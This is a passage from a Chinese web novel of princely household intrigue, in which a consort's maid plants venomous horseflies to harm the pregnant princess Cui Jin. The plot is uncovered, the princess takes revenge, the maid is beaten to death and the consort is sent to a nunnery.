萧临不知心里如何想,面上却始终温柔:“本王本以为此生无缘子嗣,未想柳暗花明,无论这一胎是男是女,都是上天的恩赐了,只要是你我的孩儿,男女都好。” 崔锦眼中浮起动容,紧紧倚在他怀里:“王爷真好。” 萧临闷声笑了起来,心情似乎极好。 外头的阳光洒进来,也照得屋里暖意洋洋。 萧临陪她用了些膳食后又匆匆离开了。 晋王换死囚一事还没完,且晋王党还在借他曾宠爱林昭之事极力扣帽子,想将罪推去他身上,这几日他忙得脱不开身,连看崔锦都是硬挤出时间来的。 “王妃,庄侧妃遣人来送了些药材锦缎,说是送给您和小世子的礼物,言辞间客气恭敬得很。”如春一脸稀罕地禀报,“可从未见过她对您如此示好。” 如夏笑了声:“燕山长公主当众对他不假辞色的消息都传开了,她哪来的底气再敢得罪王妃?” 崔锦倒没应声,只是喃喃道:“不知道淑妃该有多失望了……” 走了一个占位子的林昭,又来一个对她而言没有丝毫助益,或许还招了燕山长公主厌恶的庄清婉。 但还没等她胡思乱想完,张嬷嬷就匆匆进来,温和的脸色剧变:“王妃,正院被人埋了东西。” “什么?” 如春几人都神色一重。 张嬷嬷走上前, 低声开口:“窗外的海棠树下有虻虫,且不止一只。” 如秋脸色骤变。 崔锦疑惑问:“虻虫?这是什么?” “一种小虫子,鲜有人知,但威力与毒性都不小。”张嬷嬷道,“前朝高祖时丽妃盛宠,有孕时被赵皇后放了虻虫叮咬,丽妃死前……全身红肿溃烂,胎死腹中。” 几人脸色都有些发白。 “快,王妃先离开正院!”如夏立刻要扶起崔锦。 崔锦看向张嬷嬷:“我现在可有危险?” 张嬷嬷摇了摇头:“您衣着贴身,正房的窗也关着,暂时无碍……但奴婢建议您最好离开,等奴婢处理完再回来。” 崔锦看着她手中小小的虻虫尸体,垂眸深思。 她了解谢老夫人,若非绝对可信,绝不会将张嬷嬷送来,且后者在崔母那里必也被考察过了——所以她更倾向于王府有人动手。 思索一瞬,她道:“如春去请王爷,就说我害喜厉害,一炷香后我们便去前院,屋里的所有东西都不必拿,如夏去外面买几身新衣裳,今夜我们住前院。” 话落,她看向如春:“尽量闹得大些,叫人以为我仗着有孕嚣张争宠。” 如春立即应下,又问:“可要将此事禀报王爷?” “他自顾不暇,知道了也没空盯着人查。”崔锦沉声开口,“你们先悄悄查探,等晋王的事过去……一起算账。” 第八十章 试探 萧临回府时已经深夜,本不欲去打搅已经歇下的崔锦,但在前院自己房中看到熟睡的崔锦时,他心里还挺高兴。 他放轻脚步走上前,却还是吵醒了崔锦。 “……王爷回来了。” “吵醒你了?”看着她惺忪的睡眼,萧临声音更轻,“白日里太忙,你叫如春传信时本王还在刑部,没法回府,你倒是追得紧,竟来了前院守株待兔。” 话是这么说,他语气却藏着止不住的满足与熨帖。 崔锦虽也使小性子,在正事上却素来识大体,这还是头一回催着他回府,他本以为自己会不耐,未想却心中却有些异样的欢喜。 以前看到被夫人催促的大臣们状似无奈的炫耀,他只觉得装,但现在轮到自己,他终于理解了那些人。 崔锦心里翻了个白眼,却还是顺着他的意思,勾了勾他的手撒娇:“不知怎得,自怀孕后我就心慌得紧,本就已经一月多没见王爷,回府后还不见人,我连睡都睡不安稳了。”她娇声抱怨。 萧临下意识忽略了刚进门时她均匀绵长的呼吸声,神色更加柔软了些。 他快速洗漱沐浴后上床,抱着昏昏欲睡的崔锦,柔声保证:“等忙完此事,本王一定多陪你。” “那这段时间我要住前院。”崔锦理直气壮地要求。 萧临笑容无奈,亲了她一下,声音低柔:“竟真的愈发粘人了。” “不止。”崔锦抱着他的腰,拖长尾音,“对外王爷可不能说我自己要来……我还要面子的。” 萧临忍不住闷笑一声。 “是本王舍不得你,非要你住来正院,以便在回府后第一时间见到你。” 崔锦笑眯眯摸了摸他的脸:“既然王爷这么舍不得我,我只能抛弃正院来陪你了。” 萧临的笑声引得胸膛都震颤起来。 他还想说什么,怀中的人呼吸却渐渐均匀起来,显然是睡着了。 他小心地将手放在她小腹上摸了摸,也沉沉睡去。 翌日,崔锦醒来时已不见他的人影。 膳后,如夏上前道:“奴婢昨夜回去瞧了瞧,那虻虫竟有六十多只,张嬷嬷白日里抓了五十一只,未想竟还有四处行动的,幸好她早有防范,在院里人被叮咬时及时抓住了。” 崔锦眼神微沉。 若她还在正院且毫无防备,只怕昨夜就会中招了。 武功再高也不会去防备虫子,而正好她因为有孕,摘了能驱赶虫蚁的香囊等物,等被发现时……只怕就晚了。 “到底是谁,手段竟如此毒辣?”如冬气得险些骂人,“这是奔着叫王妃一尸两命去的啊!” 崔锦看向如春:“你可有查到什么?” 如春皱紧眉:“您不在府的这一个多月,来往正院的除了固定送膳的人外,花房的人来过两回,绣房的田嬷嬷来送过一回新衣,还有院中玲珑房间的椅子坏了,刘管事亲自来给她换过一回,奴婢都查过他们,但不知是不是因为时间太短,暂时还未查到异常。” 顿了顿,她道:“玲珑的椅子坏得蹊跷,正是两日前,而且当时她坐上椅子后就摔了,尾椎骨被椅骨刺伤,正在卧床修养。” “有点像苦肉计。”如秋深思道,“但也难保不是真意外。” “我会再查一查她。” 崔锦点头:“王爷留了庆喜,你若有不方便之处,只管找他。” “是。” 她们这厢才说完,后院的人就来请安了。 崔锦叫她们进来,含笑道:“不是说不必你们来请安了么?” 孟氏柔声恭维:“王妃是主母,妾等哪能因为离得远就不来请安,忘了本分?再者妾许久未见您,心中一直挂念着,又欢喜府中即将有小世子,巴不得日日赖在您身边不走呢!” 她一向会说话,虽然其余人有些不屑于她如此谄媚,但也没一个说话难听的。 就算再羡慕嫉妒崔锦的肚子,心里又有多恨怀孕的不是自己,她们都只能憋着。 江柔更是如此,她强撑着笑脸恭喜一番,便状似好奇:“不过王妃刚回府,怎不在正院歇着,来了前院?王爷最近公务繁忙,怕是无暇陪您的。” “我本也不愿来。”崔锦轻抚着肚子,眉眼微挑,露出张扬的炫耀模样,“只是我害喜厉害,近日又睡不安稳,王爷为了能一回府就陪我,便叫我暂时搬来前院住。” 她说得直白,叫不少人没撑住脸上的笑容。 前院素来是萧临独居之地,不许任何人打扰,哪怕当初独宠如林昭,也一样破不了这个规矩,而崔锦却能长时间留宿前院,可见恩宠。 崔锦也在暗暗打量着她们的神色。 羡慕嫉妒有之,暗恨有之,却独独没有失望之色。 她眼底掠过一抹深思。 或许出手的人不在她们之中,或许是她眼拙,没能勘破那人精湛的伪装。 “你那是什么眼神?”叶挽棠盯着江柔,不客气道,“先前陷害王妃一事,王妃都没跟你计较,你还好意思恨王妃有孕?真不要脸!” 江柔脸色忽青忽白:“叶姐姐看错了吧,我只有为王妃高兴的,你若仅凭一个不明所以的眼神就冤枉我,未免有失公允。” 叶挽棠嗤笑一声:“冤没冤枉你自己心里清楚。” 江柔表情不变,心里却恨得咬牙。 崔锦打了她二十大板,叫她丢尽脸面还失了宠,这叫没计较?若非因为崔锦徇私,这回春猎以她的资历本该同去,说不得怀孕的便是她江柔,哪还有崔锦耀武扬威的份儿? 她一看到崔锦满面柔光抚着小腹的模样,就想到自己并不存在的那个孩子。 凭什么她假孕被害,受尽连累,而崔锦却能真的怀孕,享受宠爱? 这不公平! 第八十一章 庄侧妃与几位夫人好像中毒了! 众人都走后,只有叶挽棠留下陪崔锦说了说话。 “真小啊。”她有些稀罕地看着崔锦平坦的肚子,“这么小的地方,竟然住了个小孩子。” 这话逗得如春几人都掩唇笑了起来。 叶挽棠却兴致不减,拉着崔锦问东问西。 她与江柔等人不同,刚进府时她虽对萧临有过好感,可还没生出爱慕之心就被林昭接二连三布置的佛经抄写打散了,更因为曾一边抄经一边想念萧临,导致她抄经快抄吐了,想起萧临……不说吐吧,至少没什么旖旎心思了。 她简单直率,也看得懂脸色,萧临对她显然没什么格外喜爱的意思,她自己也就淡了心思。 又不是非得上赶着求宠,就算不得宠,有崔锦罩着,她在王府一样滋润。 所以现在萧临若来她院中,她就当佛一样供着,与他聊聊佛经的奥妙,萧临不来更好,她自得其乐。 聊了会儿孩子,她又想起什么,不太高兴道:“王妃才回来,恐不知道,这几日府里可忙得很,吵得人心烦。” 崔锦笑了笑:“梁姑娘要入府了,府里是得忙乱些。” “单是如此也就罢了,可淮阴侯府难伺候得很呢。”叶挽棠面露讽刺,“那位世子爷生怕委屈了自己娇贵的妹妹,暗示咱们王府好生伺候,现如今管家手里那位梁姑娘的忌口喜好,写了有满满三页了……哼,不就是仗着王爷公务繁忙,王妃又没在府才如此作威作福么!” 就连唯一能顶事的侧妃庄清婉家世也远比不得淮阴侯府,还被禁足了,那几日叫王府众人瞧着,竟有些梁侧妃未进门就独大的意思,动摇了不少人心。 好在崔锦及时回来,还住进了前院,才叫那群见风使舵的歇了点心思。 崔锦有些纳闷地看着她:“你与她还没见面,怎么瞧着你就很不喜欢她了?” 叶挽棠眼神微闪,支支吾吾。 她身后的婢女环儿抱怨道:“王妃不知,前日淮阴侯府来人,正好叫我们夫人撞见,侯府高高在上,似有轻蔑之意……夫人便忍不住与他们起了冲突。” 这倒符合叶挽棠的性子。 崔锦安抚她几句后,叶挽棠才心满意足地离开了。 屋内,崔锦问如秋:“虻虫若叮咬在人身上,短时间内被发现,有救吗?” 如秋点头:“虻虫最大的危害在于鲜有人知,许多人被叮咬后只以为是蚊虫,不会在意,可放任不管的后果便是危及性命,尤其是有孕之人,但若发现及时,其实并无大碍。” 顿了顿,她问:“王妃可是想叫旁人使苦肉计,将此事闹大?” “当然要闹大。”崔锦眼神极冷,“刺杀没个结果,只处置了驿站那两个官员,刑部是查不出幕后真凶?不过是奉命‘查不到’罢了,可我就活该被人刺杀暗害么?” 她遇到刺杀的事昨日便已传开,闹得颇大,可晋王除了被剪掉羽翼,毫发无损。 这回的虻虫不知与他有没有关系,但她都不想忍。 参与此事的人,她一个都不会放过。 “可只昨夜一夜查探,我们还未曾查到丝毫异常……”如秋有些办事不力的羞愧,“该如何设计套出幕后之人?” “不用下套,一切有嫌疑的都不必放过。”崔锦抚着小腹,声音冰寒,吐出几个名字,“庄清婉、江柔、秦氏、安氏……” 这几个都是曾害过她或有过龃龉的,一个都不冤。 “若她们与虻虫之事无关,便只会被叮咬一下,无甚大碍,若有关……”崔锦眼眸一厉,“那就去陪林昭吧。” 如秋了然,立刻点头。 王府众人很快就得到了消息——为贺王妃有孕之喜,王爷明夜将在正院设家宴,阖府同乐。 作为发起人,萧临是最后一个才知道的。 他虽然忙,但有后之喜一样重要,还是抽空提早回府赴家宴。 见庄清婉也在,他眉头瞬间皱起。 崔锦含笑解释:“家宴不该缺席任何一人,且庄侧妃本就是无辜被牵连,而秦氏……”她看向最角落里眼眶通红的秦氏,“相信经过这一次的事,她会知道轻重的。” 崔锦眼中闪烁着柔光,几乎快照亮整个厅堂。 萧临目露动容,握住她的手:“锦儿,你太过善良宽和……”他轻叹口气,心想以后自己该做她的锋芒,否则还不被后院这群女人吃了去。 而听到他这话的其余人也没有表露出什么——说实话,她们也没想到崔锦竟能大度至此。 庄清婉低着头,神情复杂不明。 崔锦则始终含笑,一场晚宴到最后人人尽欢。 晚间,萧临便直接留宿正院。 深夜熟睡之际,外头竟起了嘈杂声,吵得萧临悠悠转醒,他第一时间捂住崔锦耳朵,不耐地问门外:“何事嘈杂?” 外头似乎有人快速交谈几句,如春便惊慌回禀:“王爷,庄侧妃与几位夫人好像中毒了!” 萧临瞬间清醒。 他一边快速穿衣下床,一边问:“中的什么毒?庆喜可去查了?” “太医还未来,现如今还不清楚是何毒,庆喜公公已经去查了。” 这么大动静,崔锦也不好装睡了,坚持与萧临一起出了门。 两人很快就到了栖霞院。 莺歌在外头行礼拦人:“王爷王妃千万不可进去,还不知这毒是否传染,王爷贵体,王妃还有孕,侧妃交代奴婢千万劝着您些,不可染上半分啊。” 听到这话,萧临对庄清婉倒满意了些。 没有率先指证陷害谁,而是担忧他与崔锦的安危,她总算懂事了些。 因为此毒特殊,庄清婉遣人请太医时特地强调请医女,因此来的是太医院医术最高的陆医女。 一见庄清婉身上红肿痕迹,她神色就严肃起来。 待仔细检查诊脉过后,她给了药才出来回禀:“庄侧妃并非中毒,而是被虻虫叮咬,从伤口看,那虻虫似乎是被人精心喂养的,体内带毒,幸而发现及时。” 萧临也没听过虻虫,被陆医女告知后才了解了此虫有多毒,脸色顿时阴沉下来。 “快给王妃瞧瞧!” 陆医女仔细为崔锦诊脉,又问了些问题后,才确定道:“王妃母子一切安好。” 萧临松了口气,紧紧握住崔锦的手。 此时,去其余几个院子诊脉的医女也回来了,都是同样的答案。 “王爷救命啊。”医女身后,江柔满脸泪痕地跪去萧临面前,“妾不知得罪了谁,竟下此毒手……这是要生生毁了妾啊,求王爷为妾主持公道,妾真的怕了,求那人放过妾吧!” 这回她学聪明了,没有直接指证崔锦,只是对着崔锦的方向不断磕头。 第八十二章 王爷如此行径,是怀疑妾身吗? 萧临在看到江柔后脸色瞬间变了。 他立刻起身挡在崔锦面前,而庆喜反应也很快,忙将江柔拉开,几乎叫后者跪在了门边,离崔锦几尺远。 江柔没反应过来:“王、王爷……” “你身上还不知有没有虻虫残留,就敢来王妃面前,究竟是何居心?”萧临冰冷而探究地打量着她。 江柔脸色险些挂不住。 “是……是妾的错,一时竟忘了王妃有孕,险些惊扰王妃。”她咬了咬牙,泫然欲泣,“妾只是太害怕了,今夜若非庄侧妃及时发现有虻虫,为我们请了医女,只怕……还不知如何受罪,兴许连命都要被害了去……” 萧临脸色依旧不太好看,但还是道:“虻虫一事,本王自会查清楚,王府留不得如此心狠手辣之人!” “多谢王爷!”江柔面露感激与倾慕,又欲言又止,“不过妾今日并未去过别的地方,只有晚间去正院赴了家宴,说来庄侧妃几人似乎也是如此,莫非这虻虫不在别处,而在正院?” 她能想到的,萧临自也能想到,也正因此,他心情始终算不上有多好,还隐隐泛着冷意。 江柔见他不说话,眼泪掉得更厉害,抬手间露出手腕大片触目惊心的红肿,苦笑道:“也不知为何,除妾外,只有庄侧妃、秦妹妹与安妹妹被咬了,我们都曾得罪过王妃……或许这便是报应吧。” 她捂着脸轻轻啜泣,楚楚可怜。 崔锦轻笑一声:“江夫人是想说我报复你们吧。” 江柔还没回答,萧临便断然否定:“怎么可能?你若真想报复,以王妃之权辖制即可,犯得着引来虻虫,连累自己涉险么?” 直到现在他想起崔锦差点就被虻虫所害,都能后怕得惊出一身冷汗。 想了想,他沉声道:“在生产之前,你都住在前院,本王叫人日夜巡逻看守前院。” 话落,他便吩咐庆喜严查府中上下,务必消灭每一只虻虫,尤其是正院和前院,一定要再三检查。 江柔看着庆喜离开的背影,双手攥紧。 萧临竟已信任崔锦到如此地步……不,或者说他更紧张崔锦肚子里那块东西,甚至不惜包庇崔锦到如此地步。 她当然猜到虻虫有很大可能不是崔锦所为,但虻虫能如此精准无误地只咬了她们四人,崔锦绝对知情,甚至想报复她们并借此闹大。 可萧临却丝毫不打算追究崔锦的错。 里间,庄清婉听到江柔终于闭嘴,不由松了口气。 她忙隔着屏风对萧临道:“王爷,虫蚁多见,兴许这回只是意外,江妹妹误会了王妃,妾身却清楚王妃宽厚仁慈,绝不会做出这等事。” 她一点都不想攀扯上崔锦,更不想叫萧临再查下去。 她本就不是什么能遮掩情绪的聪明人,尤其在心虚之下,只顾将此事扣上意外的帽子,连声音都不自觉带了慌乱。 崔锦和萧临当然听出来了。 崔锦眼底掠过凉凉笑意,而萧临冰冷凌厉的目光仿佛穿透屏风,刺入里间。 就连江柔都看向庄清婉的方向,眼眸闪动,心里只剩下一个念头——蠢货。 虻虫如此好的机会,竟叫她毁于一旦,还反被崔锦将了一军,害了她自己。 真是……太蠢了。 若虻虫给她,她能叫崔锦死得神不知鬼不觉。 就在此时,如春匆匆进来禀报:“王妃,奴婢方才正在排查正院上下,却发现院中的柳叶心神恍惚、坐立不安,便做主审了审她,没想到虻虫正是被她带进正院……就在您回府前夜。” 柳叶有些小聪明,在动手前先对玲珑下手,破坏她房内椅子,算计她摔伤,甚至在玲珑房内也有几只虻虫的尸体,一看便知是打着崔锦死后叫玲珑背锅的主意。 如春本也以为玲珑真的有问题,幸好张嬷嬷多个心眼,设了个简单的套,心神不宁的柳叶便钻了进来,这才叫她当场擒获。 “砰——” 里间忽地传来一道响声,似乎是重物落地。 萧临声音发寒,淬了冰一般:“再审,本王要知道她是被谁指使。” 一旁的庆安忙应一声,提议:“不如奴才当众审她,叫府中上下来旁观,也好叫大伙儿都有个底。” 当然更重要的是杀鸡儆猴,叫他们看清楚暗害王妃和小世子的下场! 萧临点头应允。 庆安是个机灵的,直接将柳叶拖来了栖霞院外。 外头很快就传来了柳叶的惨叫声,还隐隐飘进来血腥气。 房内所有人噤若寒蝉,庄清婉更是脸色惨白,摇摇欲坠,勉强扶着身侧的拔步床才堪堪坐稳,心中更是心急如焚,不住看向同样面无血色的莺歌。 莺歌心下慌乱,但还是握住她的手安慰。 她们并没有直接联络柳叶,庆安未必能直接查到她们头上。 外间,萧临揽住崔锦,轻声问:“夜色已深,不如你先回前院歇息?” 崔锦摇了摇头:“不查个真相出来,我怕是也睡不着的。” 萧临皱紧了眉,一边给她披上外衣,一边叫人去催庆安。 庆安发了狠,柳叶也终于撑不住,奄奄一息地哭道:“我不知是谁指使,她只用字条联络,还控制了我家里人,我……我没办法……” 字条已经被烧了,他便叫满府上下写了字条来叫柳叶逐一辨认,又派人去了柳叶家中。 控制柳家的人必定还在,或许可以由此入手。 因为栖霞院离得近,写字条的事首先就由栖霞院的人来。 轮到莺歌时,她手指微微颤抖一瞬,便利落地写完了,她行了一礼便准备回去伺候庄清婉。 “慢着。”说话的竟是江柔,“莺歌姑娘若方便,不如用左手再写一回。” 莺歌控制不住,脸色大变。 “奴婢、奴婢不会用左手写。” “无妨,你随意写便是。”江柔温声开口,“谁会用自己常用的字迹留下把柄呢,庆安公公疏忽了,需得再加上左手字迹才是。” 庆安反应过来,立刻道:“江夫人说得是,奴才这就吩咐他们准备,这……莺歌姑娘先来吧?” 莺歌进退两难,拿笔的左手竟颤抖起来,在纸上晕染出一片不明字迹。 她心下慌乱,看向江柔的眼神满含怨恨。 江柔不置可否。 这主仆俩实在不聪明,在场谁看不出她们有问题? 庄清婉落败已成必然,平安伯府也式微得可以,倒不如借此卖崔锦一个好,也叫萧临心里舒坦些。 “够了!” 庄清婉冲了出来,眼眶红肿地哭道:“王爷如此行径,是怀疑妾身吗?” 第八十三章 送去庵堂 “你若不心虚,便叫她写。”萧临声音冰冷。 庄清婉看着他冷漠得仿佛看透一切的眼神,瞬间如坠冰窖。 萧临……知道是她了? 庄清婉张了张嘴,下唇却不受控制地颤抖起来,只觉浑身发冷,脑中一片空白。 莺歌见状,咬了咬牙,忽然跪下道:“奴婢认罪,是奴婢叫柳叶放的虻虫,但并非侧妃指使,而是另有其人,虻虫也是她给奴婢的!” “还有人掺和此事?” “是。”莺歌低头,摘去庄清婉,几乎和盘托出,“奴婢不知那人是谁,对方戴着帷帽,只来见过奴婢一回,劝说奴婢暗害王妃,奴婢本不欲行此伤天害理之事,可……可侧妃处境愈发艰难,奴婢实在心疼她,便一时想岔,答应了那人。” 她将那人联系她的方式与运送虻虫的经过都一一道来,清楚得不像是编的。 崔锦心中也明了了些。 以庄清婉的脑子和心计,还真想不出来这种手段。 庆安则继续问道:“那人是男是女,身长几何,可有何特征?” “是个女子,身长约莫有四尺五,身形很瘦,声音沙哑。”莺歌仔细回忆着,“左手腕上似乎有红痕……但不知是胎记还是撞伤。” 她绞尽脑汁也只能想起这些了,那女子太过谨慎,几乎没留下任何把柄。 说完后,她不断哭着磕头:“都是奴婢鬼迷心窍,侧妃当真不知情,求王爷千万别误会侧妃啊,奴婢任打任罚,绝无二话!” “认打认罚?” 萧临冷笑一声:“拖出去,杖毙!” 莺歌脸色煞白。 崔锦没事,中招的反而是旁人,她以为……不会有性命之危的。 没谁能不怕死,莺歌亦然。 可看着身旁庄清婉哀求哭泣的脸,她还是闭了闭眼,在被拖出去前,破口大骂:“庄清婉,贱人!凭什么你能浑然不知地享受荣华富贵,我却要为你送命!早知有今日,我绝不会动恻隐之心帮你……贱人!你不得好死!” 庄清婉被骂懵了。 她不可置信地看着远去的莺歌:“你……你敢骂我?” 莺歌已经无法回答她了,外头沉闷的板子声随之响起。 庄清婉仍旧不可思议,本有些不舍的情绪在那声“贱人”后,瞬间消散了不少,还隐有怨怒之色。 江柔见状,暗骂一声蠢货。 莺歌作为暗害崔锦的人,这时候与庄清婉这个“旧主”关系越差,越不会叫萧临迁怒庄清婉,甚至方才莺歌言辞之间还在为庄清婉摆脱嫌疑。 可她瞧着,庄清婉倒是只听到那句“贱人”了。 如此忠仆,怎会效忠于这种蠢货? 萧临也不耐烦再看到她,扶起崔锦便走:“那人一时半刻查不出来,还是快些安寝吧,你脸色瞧着不好。” “只是困了些。” 走出栖霞院后,萧临侧头吩咐:“庄氏德行败坏,明日起送至郊外莲华庵,无令不得出。” 庆安立刻应下。 后脚跟出来的江柔后背瞬间浸出冷汗。 萧临对崔锦腹中孩子的重视,可能比她想象中还要多。 幸好她今日不算过分,还踩着庄清婉主仆得了些情分,否则自己只怕也少不了一顿罚了。 …… 前院,崔锦进门后就被紧紧抱入怀里,听他一阵后怕:“幸好你回府那日没在正院待多久,否则……” 话没说完,萧临忽觉胸前一片湿润,低头一看,崔锦竟眼泪满脸,不知流了多久。 “怎么了?可是哪里不舒服,还是方才吓着了?” 他急忙要叫人请太医,被崔锦拦住。 “没事,我……我也是后怕。”崔锦泪眼朦胧地抬头看他,“若早知正院有虻虫,我绝不会来前院,万一……万一害得王爷被咬……” 话音未落,她就已经哽咽得说不下去,只紧紧抱着他的腰,哭得上下不接下气。 萧临听到这个原因,心中顷刻间像是被填满了一样,暖得他心头直热。 在给她擦干眼泪后,他才道:“本王身强体壮,小小虻虫怕什么?倒是你……若你当真被虻虫所害,本王连哭都没地儿哭去了,你想想多惨。” 崔锦破涕为笑,却还是抱着他不放手。 萧临知道她也是在后怕,正如他害怕失去她一样——或许她的感情还要更甚。 他心中不免感触更深。 眼看已快凌晨,两人终于睡下。 翌日,萧临去上朝后,崔锦才见了张嬷嬷。 “庄侧妃正在收拾东西,准备离京,但她很不配合,非说是您假传王爷命令,其余几位被叮咬的夫人姑娘们也受了惊,好在身体并无大碍。”说到这里,张嬷嬷迟疑了一下,“只是那背后唆使庄侧妃的人,奴婢在府中查探一番,还是毫无头绪。” “无妨。”崔锦握住她的手,十分感激,“这回若非嬷嬷你及时发现虻虫,只怕我早已中招,生死不知。” “老夫人送奴婢来的用意便是如此。”张嬷嬷笑道,“只要王妃母子安然无恙,奴婢便不负老夫人所托了。” 话虽如此,崔锦还是准备了厚礼,叫如春送去了她房中。 “嬷嬷谨慎,以后奴婢们也该像您看齐才是。”如夏很是佩服。 那日张嬷嬷一到正院就将每个地方细细检查过去,且因为天性谨慎,必要来回检查三遍才能放心。 虻虫体小,又被埋在树下,本不易察觉,她还是在检查第三遍时出于谨慎,叫如夏翻了翻树下的土才发现的。 如夏自认自己做不到这么细致,经此一事,也多长了心。 早膳后无事,崔锦叫后院的人不必来请安,径自处理了近日的帖子——都知道她有孕未满三月,还刚遭遇刺杀,没谁不长眼地邀请她出门赴宴,反倒多是问候的帖子,一些宗室重臣府邸的命妇,都得她亲自回帖才行。 约莫一个时辰后,萧临下朝回府,正遇上了被强行带出府的庄清婉。 “王爷!” 她忙甩开身边嬷嬷的手,冲上前哭道:“王妃要送妾身去庵堂,您要为妾身做主啊……昨夜真相已明,她被害与妾身无关,却执意要送妾离开,若此事被伯府与婶娘知晓,该叫您如何收场啊?” 第八十四章 是王妃对您说了什么吗? 萧临甩开她的手,冷声道:“送你去庵堂是本王的命令,与王妃何干?庄氏,你还是死性不改!” 庄清婉愣住了。 她从来没想过真的是萧临下令,明明昨夜……莺歌已经认罪了不是吗?崔锦必然会迁怒她,可萧临为什么会对他如此无情? “是王妃对您说了什么吗?”她犹疑不定地猜测,“昨夜——” “昨夜事实究竟如何,你心里应当清楚。” 面对萧临如有实质的目光,庄清婉呼吸一滞,忽然说不出话来了,只有难看的脸色一如方才。 萧临知道莺歌是替她顶罪。 庄清婉浑身凉透,但还是双手紧攥,眼眶通红地看着他:“我、妾身做的一切都是为王爷好啊……崔锦那种贪名逐利,对您毫无真心的人,怎配生下您的孩子?可任我如何对您真心,您都只信她,甚至为此不惜将我禁足……叫我如何能甘心?” 从崔锦有孕后,她的心态就失衡了。 她想不通为何崔锦这种虚情假意的人都能得萧临恩宠,甚至能生下他的长子,而她满腔真心他却从来视而不见。 最后,连婶娘也背叛了她。 她只能为自己谋划,也是为萧临谋划,若叫崔锦生下长子,她只会更为自己和儿子谋利,而丝毫不顾萧临,后院那群女人也从无真心,只有她站在他身边,才不会害他。 但萧临没耐心听她说话,扭头吩咐庆喜:“送她走。” 庄清婉脸色一变,顾不得再为自己找借口,慌道:“我是伯府嫡女,是燕山长公主的侄女,您不能这么对我……我若被送走,伯府与长公主府必定不会罢休!” “侧妃放心,王爷今日已与平安伯说明原委,燕山长公主那边也知会过的。”庆喜贴心说道。 平安伯功利归功利,到底还看得清形势。 崔锦肚子里这个孩子不止得宫里重视,更是萧临能否入主东宫的关键,庄清婉若弄掉了她的孩子能自己生也就罢了,偏偏她生不出来。 所以在被萧临亲口“告知”后,别说有意见,他担心崔谢两家的报复和永隆帝淑妃的厌恶还来不及呢。 庄清婉被提醒后,一下愣住了。 伯府也放弃她了? 庆喜寻着机会,忙叫人带她离开。 远远传来庄清婉不甘的哭喊声,萧临面色不变,转身离开。 角落里,苏氏与婢女静静旁观了这一幕,屈膝行礼,恭送萧临离开。 “没想到庄侧妃这么快就落败了。”婢女心有余悸,“幸好您没听她的话,找机会往正院放虻虫。” 苏氏神色淡淡:“我父亲受的是燕山长公主的恩惠,可连燕山长公主都不搭理庄清婉了,我何苦替她做那等要命事?” 婢女有些可惜:“若早知王妃无事,庄侧妃还因此被送离,您先前就该告诉王爷此事,既能讨王爷欢心,又能卖王妃个好。” “是啊,王妃无事……”苏氏眼眸微深,“真可惜。” 拿到虻虫后,庄清婉先找的就是苏氏,毕竟苏氏身份高些,做事比莺歌更方便。 只是那时燕山长公主划清界限一事已经传出,苏氏便拒绝了庄清婉,但她也没将此事传出,而是静静等着时机。 若庄清婉成事,她再揭穿庄清婉,一举两得,若庄清婉没成事,此事也牵连不到她身上。 可惜,庄清婉太蠢了。 没得手也就罢了,还被算计进了庵堂,平白浪费大好良机。 她眼眸暗沉一瞬,垂下眸:“走吧,去给王妃请安。” 婢女高兴道:“您女红素来好,还用了手头仅有的云锦,做出来的小衣裳小鞋子漂亮又精巧,王妃一定喜欢。” 两人渐渐走远。 前院,萧临一回来便问:“今日身子如何?” “好得很。”崔锦没好气道,“一日里能问十来遍,你也不嫌累。” 萧临含笑坐在她身边,摸了摸她的小腹:“问再多遍也不累,只要你们母子平安就好。” 崔锦拍下他的手,轻瞪着他:“从前怎不见王爷这样殷勤?什么母子平安,妾身怕只是顺带,您真正关心的是肚子里的骨肉吧。” “怎还与孩子吃起醋来了?”萧临哑然失笑。 揽着她腰的手也被拍下去了,他倒是厚脸皮地再将手搭上去,又被拍下几次,直到崔锦拍累了,他便将她抱紧了些,轻轻给她揉着手:“疼不疼?” “王爷若怕我疼,别来惹我动手便是。” “太医说过要多动一动。”萧临毫不脸红地说着,又将手搭在她小腹上,“本王关心孩子是真,可怎会不关心你?正因他在你腹中,本王才如此看重,你可见江氏有孕时,本王如此关心她?” 这倒是真的,江柔有孕那段时间,萧临最多也就去寄月阁坐坐,对她态度好些,离关怀备至还差得远呢。 见崔锦脸色松动,他又轻哄了好半会儿。 从前他是不会哄人的,但在崔锦有意无意的引导下,如今说起情话也毫不脸红了。 见崔锦终于被逗笑,他也松了口气,无奈一笑。 怀了个孕,倒像越发孩子气了,但这种转变萧临并不讨厌,心中还觉熨帖许多。 太医也说过有孕之人脾气多变,有时要多包容些,所以在崔锦使性子或提出些无礼要求时,他的底线也不自觉又放得一低再低,几乎是事事都应。 洒下的融融阳光下,两人坐在窗边低语,相视一笑的默契竟有种旁人插不进去的感觉。 苏氏脚步微顿,转头对庆喜笑道:“近日王妃要忙侧妃入府的事,好不容易有与王爷相处的机会,我便不进去打扰了,劳公公将这些转交给王妃。” 庆喜接过那堆精致漂亮的小衣裳,对苏氏的印象更好了几分。 有眼色又不闹事的聪明人,他们王府后院可太少了。 第八十五章 梁溶月入府 萧临看到苏氏做的小衣裳小鞋子,仿佛看见了即将出生的嫡长子,心情极好,还叫庆喜赏了她一回。 他离开后,如春才道:“勾结庄侧妃那人始终没有露出马脚,时间间隔越久,只怕就越难查了。” 崔锦敲着木鱼,闭眼道:“哪里盛产虻虫?这东西又是如何进京城的?还有庄清婉那边……那人未必敢留着她,或许会灭口。” 如春眼睛一亮:“奴婢明白了。” 崔锦轻应一声:“庄清婉……既然那么喜欢虻虫,多送点去陪她吧。” 庄清婉奔着弄死她来的,她当然不会觉得叫她进庵堂就算两清了,她没那么以德报怨 既然暂时不能杀,就叫庄清婉求死不能。 “是。” 庄清婉被送往庵堂的事传出去后,并未惊起太多波澜。 虻虫一事闹得宫里都知道了,外头人也探知了几分,都在感叹庄清婉胆子大——没见永隆帝都迁怒了平安伯府,直接以治家不严为由罚俸降职。 而崔锦在安抚了来探望她的母亲妹妹后,便准备起了梁溶月入府一事。 说是准备,现在她有孕在身,以萧临的紧张劲儿和淑妃隔三岔五就送赏赐的重视程度,谁也没敢劳动到她,就连态度颇为傲慢的淮阴侯府都不敢有意见。 六月底,梁溶月进府了。 与先前庄清婉入府时颇为冷清的场面不同,管家被萧临特地嘱咐过,将排场安排得更大三分,给足了淮阴侯府脸面。 这夜,崔锦回了正院。 侧妃入府之夜,虽说萧临不会留宿前院,但她住在这里还是不合规矩,且明日还要在正院接受梁溶月敬茶。 摆置精美的春熙院,满屋喜气,下人们俱面带笑容。 